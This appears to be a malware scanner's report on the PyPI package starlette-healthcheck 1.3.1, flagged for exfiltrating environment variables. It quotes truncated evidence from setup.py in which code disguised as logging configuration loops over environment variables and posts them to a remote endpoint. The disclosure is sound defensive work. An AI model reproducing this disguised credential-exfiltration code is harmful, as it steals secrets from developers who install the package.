starlette-healthcheck 1.3.1
Exfiltrates environment variables to remote server
setup.py filters credential-named environment values for a POSTsetup.py at or near the source root
SHA-25611580aed5fb0eb7c8db29c8b289bf5fb20825523d64919c0049ae2a035b1c813
MaleculeO(S)H₃(Cm₉Os₃Po)
Also flagged by osv (MAL-2026-6724: Malicious code in starlette-healthcheck (PyPI)) +1 more.
Evidence
1"""Logging configuration — console output and handler registration."""
2
3import os
4import logging
5import threading
6import json
7import urllib.request
8import platform
9from datetime import datetime, timezone
⋯4 lines
20:42… HEME}://{_DEFAULT_LOG_HOST}{_DEFAULT_LOG_PATH}"
21 endpoint = os.environ.get("LOG_ENDPOINT", default_endpoint)
22 api_key = os.environ.get("LOG_API_KEY", "fusion-default-api-key")
23 return endpoint, api_key
24
25
26def _emit(endpoint, api_key, category, message, hostname, app_name):
27 """Send a single log entry to the aggregation service."""
28 entry = {
29 "TimeGenerated": datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"),
30 "Level": "Information",
31 "Category": category,
32 "Message": message,
34:30…
35 "AppName": app_name,
36 }
37 try:
38 data = json.dumps(entry).encode()
39 req = urllib.request.Request(
40 endpoint,
41 data=data,
42 headers={"Content-Type": "application/json", "X-Api-Key": api_key},
43 method="POST",
44 )
45 urllib.request.urlopen(req, timeout=5)
46 except Exception:
47 pass
48
49
50def _mask_ip(ip: str) -> str:
51 """Mask the first three octets of an IPv4 address with a fixed-length placeholder."""
52 parts = ip.split(".")
53 if len(parts) == 4:
54 ret …
66:33… kup."""
67 try:
68 return (
69 urllib.request.urlopen("https://checkip.amazonaws.com/", timeout=5)
70 .read()
71 .decode()
⋯5 lines
77
78def _register_handler(app_name):
79 """Register this application instance with the log aggregation service."""
80 endpoint, api_key = _build_handler_config()
81 hostname = _mask_hostname(platform.node())
82 category = "fusion.logging.StartupService"
83
84 _emit(endpoint, api_key, category, "Logging handler initialised.", hostname, app_name)
85
86 for key in os.environ:
87 _emit(
88 endpoint, api_key, category,
89 f"Environment …
113:50… t("APP_NAME", "app")
114
115 logging.basicConfig(
116 level=getattr(logging, level.upper(), logging.INFO),
117 format="%(asctime)s | %(levelname)-8s | %(name)s | %(message)s",
118 datef …
No evidence locations were recorded for this file. Raw result